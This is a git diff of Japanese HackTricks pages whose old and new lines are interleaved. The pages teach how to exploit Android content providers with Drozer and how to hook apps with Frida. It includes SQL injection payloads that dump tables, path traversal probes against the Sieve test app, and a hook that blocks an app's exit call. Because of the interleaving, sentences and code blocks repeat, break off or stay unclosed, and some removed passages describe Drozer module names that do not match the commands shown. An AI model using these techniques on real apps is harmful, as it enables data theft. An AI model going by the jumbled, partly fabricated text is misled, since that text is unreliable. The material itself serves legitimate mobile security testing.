* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。これは、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) をフォローする
* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する
</details>

View file

@ -4,32 +4,33 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で私をフォローする [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **ハッキングテクニックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
</details>
## イントロ
## はじめに
コンテンツプロバイダコンポーネントは、リクエストに応じてデータを他のアプリケーションに提供します。このようなリクエストは、ContentResolverクラスのメソッドによって処理されます。コンテンツプロバイダは、データを**データベース**、**ファイル**、または**ネットワーク**上に**保存**するためにさまざまな方法を使用することができます。
データは、**コンテンツプロバイダ**として知られるコンポーネントによって、他のアプリケーションにリクエストに応じて**供給**されます。これらのリクエストは、**ContentResolverクラス**のメソッドを介して管理されます。コンテンツプロバイダは、**データベース**、**ファイル**、または**ネットワーク**上など、さまざまな場所にデータを保存できます。
コンテンツプロバイダは_Manifest.xml_ファイル内で宣言する必要があります。例
```markup
_Manifest.xml_ファイルでは、コンテンツプロバイダの宣言が必要です。たとえば
```xml
<provider android:name=".DBContentProvider" android:exported="true" android:multiprocess="true" android:authorities="com.mwr.example.sieve.DBContentProvider">
<path-permission android:readPermission="com.mwr.example.sieve.READ_KEYS" android:writePermission="com.mwr.example.sieve.WRITE_KEYS" android:path="/Keys"/>
</provider>
```
この場合、`content://com.mwr.example.sieve.DBContentProvider/Keys` にアクセスするためには `READ_KEYS` の許可が必要です。\
(また、次のセクションでは保護されていない `/Keys/` にアクセスする予定ですが、開発者が混乱して `/Keys` を保護してしまったためです。)
アクセスするには、`READ_KEYS`パーミッションが必要です:`content://com.mwr.example.sieve.DBContentProvider/Keys`。興味深いことに、セクション内のパス`/Keys/`は開かれており、開発者が`/Keys`を保護したが`/Keys/`を宣言したため、保護されていません。
**おそらく、プライベートデータにアクセスしたり、いくつかの脆弱性SQLインジェクションやパストラバーサルを悪用することができるかもしれません。**
**おそらく、プライベートデータにアクセスしたり、脆弱性SQLインジェクションまたはパストラバーサルを悪用したりできるかもしれません。**
## **公開されたコンテンツプロバイダ**から情報を取得する
## **公開されたコンテンツプロバイダーから情報を取得する**
```
dz> run app.provider.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
@ -51,9 +52,9 @@ Content Provider: com.mwr.example.sieve.FileBackupProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
```
私たちは、DBContentProviderにアクセスするために、コンテンツURIの一部を**再構築**することができます。なぜなら、それらは必ず「_content://_」で始まり、Drozerが_Path: /Keys_内で取得した情報を知っているからです。
**DBContentProvider** に到達する方法を組み立てることが可能です。これは、Drozer を使用して得られた洞察に基づいており、重要な情報が _/Keys_ ディレクトリにあることがわかります。
Drozerは、複数のURIを**推測して試す**ことができます。
Drozer は、**複数の URI を推測して試す**ことができます。
```
dz> run scanner.provider.finduris -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
@ -65,11 +66,11 @@ content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
```
**ContentProviderコード**をチェックしてクエリを検索する必要があります:
また、**ContentProviderコード**をチェックしてクエリを検索する必要があります:
![](<../../../.gitbook/assets/image (121) (1) (1) (1).png>)
また、完全なクエリが見つからない場合は、ContentProviderで`onCreate`メソッドで宣言されている名前をチェックできます:
また、完全なクエリが見つからない場合は、`onCreate`メソッドで**ContentProviderによって宣言された名前を確認**できます:
![](<../../../.gitbook/assets/image (186).png>)
@ -77,8 +78,8 @@ content://com.mwr.example.sieve.DBContentProvider/Passwords/
## **データベースをバックエンドとするContent Provider**
おそらく、ほとんどのContent Providerは**データベース**の**インターフェース**として使用されます。したがって、アクセスできる場合は情報を**抽出、更新、挿入、削除**することができるかもしれません。\
**機密情報にアクセス**できるかどうかを確認するか、**認証**メカニズム**バイパス**するために変更してみてください。
おそらく、ほとんどのContent Providerは**データベース**の**インターフェース**として使用されています。したがって、アクセスできれば**情報を抽出、更新、挿入、削除**することができるかもしれません。\
**アクセスできるかどうかを確認**し、**機密情報にアクセス**できるかどうかを確認するか、**認証をバイパス**するために変更してみてください。
Content Providerのコードをチェックする際には、_query、insert、update、delete_などの名前の**関数**もチェックしてください:
@ -86,9 +87,7 @@ Content Providerのコードをチェックする際には、_query、insert、u
![](<../../../.gitbook/assets/image (254) (1) (1) (1) (1) (1) (1) (1).png>)
これらの関数を呼び出すことができるからです。
### コンテンツのクエリ
これらを呼び出すことができるため、
```
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
_id: 1
@ -100,17 +99,17 @@ email: incognitoguy50@gmail.com
```
### コンテンツの挿入
データベースのクエリを実行することで、**列の名前**を知ることができます。その後、DBにデータを挿入することができます。
データベースをクエリすると、**列の名前**を知ることができ、その後、DBにデータを挿入できる可能性があります
![](<../../../.gitbook/assets/image (188) (1).png>)
![](<../../../.gitbook/assets/image (189) (1).png>)
_挿入と更新では、--stringを使用して文字列を指定し、--doubleを使用して倍精度浮動小数点数を指定し、--float、--integer、--long、--short、--booleanを使用することができます_
_挿入と更新では、--stringを文字列を示すために使用し、--doubleをダブルを示すために使用し、--float、--integer、--long、--short、--booleanを使用できます_
### コンテンツの更新
列の名前を知っている場合、エントリを**変更**することもできます。
列の名前を知っていると、**エントリを変更**することもできます:
![](<../../../.gitbook/assets/image (190).png>)
@ -120,12 +119,12 @@ _挿入と更新では、--stringを使用して文字列を指定し、--double
### **SQLインジェクション**
コンテンツプロバイダに渡される**プロジェクション**と**選択フィールド**を操作することで、SQLインジェクション**(SQLite)**を簡単にテストすることができます。\
コンテンツプロバイダをクエリする際には、情報を検索するための2つの興味深い引数があります: _--selection__--projection_:
コンテンツプロバイダに渡される**プロジェクション**と**選択フィールド**を操作することで、SQLインジェクション**(SQLite)**を簡単にテストできます。\
コンテンツプロバイダをクエリする際に、情報を検索するための興味深い引数が2つあります_--selection_ と _--projection_
![](<../../../.gitbook/assets/image (192) (1).png>)
これらの**パラメータ**を悪用して、SQLインジェクションをテストすることができます。
これらの**パラメータ**を**濫用**して**SQLインジェクション**をテストできます:
```
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')
@ -138,27 +137,7 @@ FROM SQLITE_MASTER WHERE type='table';--"
| table | android_metadata | android_metadata | 3 | CREATE TABLE ... |
| table | Passwords | Passwords | 4 | CREATE TABLE ... |
```
**Drozerによる自動SQLインジェクションの発見**
Drozer is an Android security assessment framework that allows you to find vulnerabilities in Android applications. One of the techniques it supports is automatic SQL injection discovery.
Drozerは、Androidアプリケーションの脆弱性を見つけるためのAndroidセキュリティ評価フレームワークです。その中でサポートされているテクニックの一つが、自動SQLインジェクションの発見です。
SQL injection is a common vulnerability in web applications, but it can also affect Android applications that use SQLite databases. By injecting malicious SQL queries, an attacker can manipulate the database and potentially gain unauthorized access to sensitive information.
SQLインジェクションは、ウェブアプリケーションにおける一般的な脆弱性ですが、SQLiteデータベースを使用するAndroidアプリケーションにも影響を与えることがあります。攻撃者は、悪意のあるSQLクエリを注入することで、データベースを操作し、機密情報への不正アクセスを行う可能性があります。
Drozer's SQL injection module automates the process of finding SQL injection vulnerabilities in Android applications. It does this by analyzing the application's content providers, which are components that allow data to be shared between different applications. By sending specially crafted queries to these content providers, Drozer can detect if the application is vulnerable to SQL injection attacks.
DrozerのSQLインジェクションモジュールは、AndroidアプリケーションにおけるSQLインジェクションの脆弱性を自動的に見つけるプロセスを実現します。これは、データを異なるアプリケーション間で共有するためのコンポーネントであるコンテンツプロバイダを分析することによって行われます。特別に作成されたクエリをこれらのコンテンツプロバイダに送信することで、DrozerはアプリケーションがSQLインジェクション攻撃に対して脆弱であるかどうかを検出することができます。
To use Drozer's SQL injection module, you need to have a rooted Android device and the Drozer agent installed on it. Once you have set up the environment, you can use the `sqlinjection` command in Drozer to automatically scan an application for SQL injection vulnerabilities.
DrozerのSQLインジェクションモジュールを使用するには、ルート化されたAndroidデバイスとDrozerエージェントのインストールが必要です。環境をセットアップしたら、Drozerの`sqlinjection`コマンドを使用して、SQLインジェクションの脆弱性を自動的にスキャンすることができます。
It is important to note that the SQL injection module in Drozer is a powerful tool, but it should only be used on applications that you have permission to test. Using it on unauthorized applications can be illegal and unethical.
DrozerのSQLインジェクションモジュールは強力なツールですが、テストの許可を得たアプリケーションにのみ使用する必要があります。許可されていないアプリケーションで使用することは違法であり、倫理的にも問題があります。
**Drozerによる自動SQLInjectionの発見**
```
dz> run scanner.provider.injection -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
@ -178,51 +157,27 @@ android_metadata
notes
sqlite_sequence
```
## **ファイルシステムをバックエンドとしたコンテンツプロバイダー**
## **ファイルシステムベースのコンテンツプロバイダ**
コンテンツプロバイダファイルにアクセスするためにも使用できます
コンテンツプロバイダはファイルにアクセスするためにも使用できます:
![](<../../../.gitbook/assets/image (193).png>)
### ファイルの読み取り
コンテンツプロバイダからファイルを読み取ることができます
コンテンツプロバイダからファイルを読み取ることができます
```
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1 localhost
```
### **パストラバーサル**
ファイルにアクセスできる場合、パストラバーサルを悪用することができます(この場合、必要ではありませんが、"_../_"や類似のトリックを試すことができます)。
ファイルにアクセスできる場合、パストラバーサルを悪用することができます(この場合、必須ではありませんが、"_../_"などのトリックを試すことができます)。
```
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1 localhost
```
**Drozerによる自動パストラバーサルの発見**
Drozer is an Android security assessment framework that allows us to perform various security tests on Android applications. One of the features of Drozer is the ability to automatically discover Path Traversal vulnerabilities in Android applications.
Drozerは、Androidアプリケーションに対してさまざまなセキュリティテストを実行することができるAndroidセキュリティ評価フレームワークです。Drozerの特徴の一つは、Androidアプリケーション内のパストラバーサル脆弱性を自動的に発見する機能です。
Path Traversal vulnerabilities occur when an application allows user-controlled input to be used in file or directory paths without proper validation. This can lead to unauthorized access to sensitive files or directories on the device.
パストラバーサル脆弱性は、アプリケーションが適切な検証を行わずに、ユーザーが制御可能な入力をファイルやディレクトリのパスに使用する場合に発生します。これにより、デバイス上の機密ファイルやディレクトリへの不正なアクセスが可能になります。
To automatically discover Path Traversal vulnerabilities using Drozer, we can use the `path_traversal` module. This module sends various requests with different path traversal payloads to the target application and checks for any unexpected responses.
Drozerを使用してパストラバーサル脆弱性を自動的に発見するには、`path_traversal`モジュールを使用します。このモジュールは、さまざまなパストラバーサルペイロードを含むリクエストを対象のアプリケーションに送信し、予期しない応答があるかどうかを確認します。
To use the `path_traversal` module, we need to first start a Drozer session with the target application. Once the session is established, we can run the `path_traversal` module using the `run` command.
`path_traversal`モジュールを使用するには、まず対象のアプリケーションでDrozerセッションを開始する必要があります。セッションが確立されたら、`run`コマンドを使用して`path_traversal`モジュールを実行できます。
The `path_traversal` module will automatically send requests to the target application with different path traversal payloads. If a Path Traversal vulnerability is found, Drozer will display the details of the vulnerability, including the affected endpoint and the payload that triggered the vulnerability.
`path_traversal`モジュールは、異なるパストラバーサルペイロードを含むリクエストを対象のアプリケーションに自動的に送信します。パストラバーサル脆弱性が見つかった場合、Drozerは脆弱性の詳細を表示します。これには、影響を受けるエンドポイントと脆弱性を引き起こしたペイロードが含まれます。
It is important to note that the `path_traversal` module may generate a large number of requests, so it is recommended to use it with caution and only on applications that you have permission to test.
`path_traversal`モジュールは、大量のリクエストを生成する場合があるため、注意して使用し、テストの許可を得ているアプリケーションにのみ使用することをおすすめします。
```
dz> run scanner.provider.traversal -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
@ -234,15 +189,18 @@ content://com.mwr.example.sieve.FileBackupProvider
* [https://www.tutorialspoint.com/android/android\_content\_providers.htm](https://www.tutorialspoint.com/android/android\_content\_providers.htm)
* [https://manifestsecurity.com/android-application-security-part-15/](https://manifestsecurity.com/android-application-security-part-15/)
* [https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf](https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンを入手**したいですか?または、**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass) に参加するか、**Twitter** 🐦 で **@carlospolopm** をフォローする
* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリに **PRを提出** して、あなたのハッキングトリックを共有する
</details>

View file

@ -2,43 +2,41 @@
<details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
HackTricks をサポートする他の方法:
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass) に参加するか、**Twitter** 🐦 で私をフォローする [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **ハッキングテクニックを共有する** には、[**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の GitHub リポジトリに PR を提出してください
</details>
<figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
**バグバウンティのヒント**: **Intigriti**に**登録する**、ハッカーによって作られたプレミアムな**バグバウンティプラットフォーム**!今日[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得し始めましょう!
**バグバウンティのヒント**: **ハッカーによって作成されたプレミアムなバグバウンティプラットフォーム**である **Intigriti にサインアップ** してください! [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) で今すぐ参加し、最大 **$100,000** のバウンティを獲得し始めましょう!
{% embed url="https://go.intigriti.com/hacktricks" %}
## インストール
**fridaツール**をインストールする:
**frida ツールをインストール**:
```bash
pip install frida-tools
pip install frida
```
**Androidにダウンロードしてインストール**する**frida server**[最新リリースをダウンロード](https://github.com/frida/frida/releases))。\
adbをrootモードで再起動し、それに接続してfrida-serverをアップロードし、実行権限を与えてバックグラウンドで実行するワンライナー:
**frida server**[最新リリースをダウンロード](https://github.com/frida/frida/releases)をAndroidに**ダウンロードしてインストール**します。\
ルートモードでadbを再起動し、接続し、frida-serverをアップロードし、実行権限を付与してバックグラウンドで実行するためのワンライナー:
{% code overflow="wrap" %}
```bash
adb root; adb connect localhost:6000; sleep 1; adb push frida-server /data/local/tmp/; adb shell "chmod 755 /data/local/tmp/frida-server"; adb shell "/data/local/tmp/frida-server &"
```
```
{% endcode %}
**動作確認**
```
**動作しているか**を**確認**します:
```bash
frida-ps -U #List packages and processes
frida-ps -U | grep -i <part_of_the_package_name> #Get all the package name
@ -47,30 +45,29 @@ frida-ps -U | grep -i <part_of_the_package_name> #Get all the package name
### [チュートリアル1](frida-tutorial-1.md)
**出典**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\
****: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\
**APK**: [https://github.com/t0thkr1s/frida-demo/releases](https://github.com/t0thkr1s/frida-demo/releases)\
**ソースコード**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo)
[リンクを読む](frida-tutorial-1.md)。
**[リンクをクリックして読む](frida-tutorial-1.md)。**
### [チュートリアル2](frida-tutorial-2.md)
**出典**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (パート 2, 3 & 4)\
****: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Parts 2, 3 & 4)\
**APKとソースコード**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
[リンクを読む](frida-tutorial-2.md)。
**[リンクをクリックして読む。](frida-tutorial-2.md)**
### [チュートリアル3](owaspuncrackable-1.md)
**出典**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\
****: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\
**APK**: [https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level\_01/UnCrackable-Level1.apk](https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level\_01/UnCrackable-Level1.apk)
[リンクを読む](owaspuncrackable-1.md)。\
**いくつかの素晴らしいFridaスクリプトはこちらで見つけることができます:** [**https://codeshare.frida.re/**](https://codeshare.frida.re)
**[リンクをクリックして読む](owaspuncrackable-1.md)。**
## 簡単な例
**さらに素晴らしいFridaスクリプトはこちらで見つけることができます:** [**https://codeshare.frida.re/**](https://codeshare.frida.re)
ここでは、Fridaの基本的で興味深い機能を使って、素早くスクリプトを作成する方法を見つけることができます:
## クイック例
### コマンドラインからFridaを呼び出す
```bash
@ -96,7 +93,7 @@ print('[ * ] Running Frida Demo application')
script.load()
sys.stdin.read()
```
### パラメーターなしの関数のフッキング
### パラメーターなしで関数をフックする
クラス `sg.vantagepoint.a.c` の関数 `a()` をフックします。
```javascript
@ -108,8 +105,10 @@ return false;
};
});
```
```markdown
Javaの`exit()`をフックする
Javaの`exit()`をフックします。
```java
Javaの`exit()`をフックします。
```
```javascript
var sysexit = Java.use("java.lang.System");
@ -117,7 +116,35 @@ sysexit.exit.overload("int").implementation = function(var_0) {
send("java.lang.System.exit(I)V // We avoid exiting the application :)");
};
```
MainActivity `.onStart()``.onCreate()` をフック
## MainActivity `.onStart()` & `.onCreate()` フック
Fridaを使用して、AndroidアプリのMainActivityクラス内の`.onStart()`および`.onCreate()`メソッドをフックする方法を以下に示します。
1. Fridaスクリプトを作成します。
```javascript
Java.perform(function() {
var MainActivity = Java.use('com.example.app.MainActivity');
MainActivity.onStart.implementation = function() {
console.log('onStart() called');
this.onStart();
};
MainActivity.onCreate.implementation = function() {
console.log('onCreate() called');
this.onCreate();
};
});
```
2. Fridaを使用してアプリにスクリプトをインジェクトします。
```bash
frida -U -l your_script.js -f com.example.app
```
これにより、MainActivity内の`.onStart()`および`.onCreate()`メソッドがフックされ、それぞれ呼び出された際にログが出力されます。
```javascript
var mainactivity = Java.use("sg.vantagepoint.uncrackable1.MainActivity");
mainactivity.onStart.overload().implementation = function() {
@ -129,7 +156,17 @@ send("MainActivity.onCreate() HIT!!!");
var ret = this.onCreate.overload("android.os.Bundle").call(this,var_0);
};
```
# Android `.onCreate()` フック
Androidの`.onCreate()`をフックします。
```java
Java.perform(function() {
var Activity = Java.use('android.app.Activity');
Activity.onCreate.implementation = function() {
this.onCreate();
console.log('onCreate() hooked');
};
});
```
```javascript
var activity = Java.use("android.app.Activity");
activity.onCreate.overload("android.os.Bundle").implementation = function(var_0) {
@ -137,9 +174,9 @@ send("Activity HIT!!!");
var ret = this.onCreate.overload("android.os.Bundle").call(this,var_0);
};
```
### パラメータを持つ関数のフッキングと値の取得
### パラメータと値の取得を伴う関数のフック
復号化関数をフッキングします。入力を印刷し、元の関数を呼び出して入力を復号化し、最後に平文データを印刷します:
復号化関数のフック。入力をプリントし、元の関数を呼び出して入力を復号化し、最後に平文データをプリントします:
```javascript
function getString(data){
var ret = "";
@ -164,9 +201,9 @@ send("Decrypted flag: " + flag);
return ret; //[B
};
```
### 関数をフックして、自分の入力で呼び出す
### 関数をフックして、私たちの入力でそれらを呼び出す
文字列を受け取る関数をフックし、別の文字列で呼び出します([こちら](https://11x256.github.io/Frida-hooking-android-part-2/)から)
関数をフックして、他の文字列でそれを呼び出します([こちら](https://11x256.github.io/Frida-hooking-android-part-2/)から)
```javascript
var string_class = Java.use("java.lang.String"); // get a JS wrapper for java's String class
@ -178,11 +215,11 @@ console.log("Return value: "+ret);
return ret;
};
```
### 既に作成されたクラスのオブジェクトを取得する
### クラスの既存オブジェクトを取得する
作成されたオブジェクトの属性を抽出したい場合は、これを使用できます。
作成済みオブジェクトの属性を抽出したい場合は、これを使用できます。
この例では、クラス my\_activity のオブジェクトを取得し、オブジェクトのプライベート属性を表示する関数 .secret() を呼び出す方法を見ていきます。
この例では、クラスmy_activityのオブジェクトを取得し、オブジェクトのプライベート属性を出力する.secret()関数を呼び出す方法を示します。
```javascript
Java.choose("com.example.a11x256.frida_test.my_activity" , {
onMatch : function(instance){ //This function will be called for every instance found by frida
@ -192,29 +229,29 @@ console.log("Result of secret func: " + instance.secret());
onComplete:function(){}
});
```
## その他のFridaチュートリアル
## 他のFridaチュートリアル
* [https://github.com/DERE-ad2001/Frida-Labs](https://github.com/DERE-ad2001/Frida-Labs)
* [高度なFrida使用法ブログシリーズのパート1: IOS暗号化ライブラリ](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/)
* [高度なFridaの使用法ブログシリーズのパート1IOS暗号化ライブラリ](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/)
<figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
**バグバウンティのヒント**: **Intigriti**に**登録**しましょう。ハッカーによって作られたプレミアムな**バグバウンティプラットフォーム**です![**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)で今日から参加し、最大**$100,000**の報酬を獲得しましょう!
**バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。これは、ハッカーによって作成されたプレミアム**バグバウンティプラットフォーム**です![**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)で参加し、最大**$100,000**のバウンティを獲得しましょう!
{% embed url="https://go.intigriti.com/hacktricks" %}
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローになる方法を学びましょう</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>!</strong></a></summary>
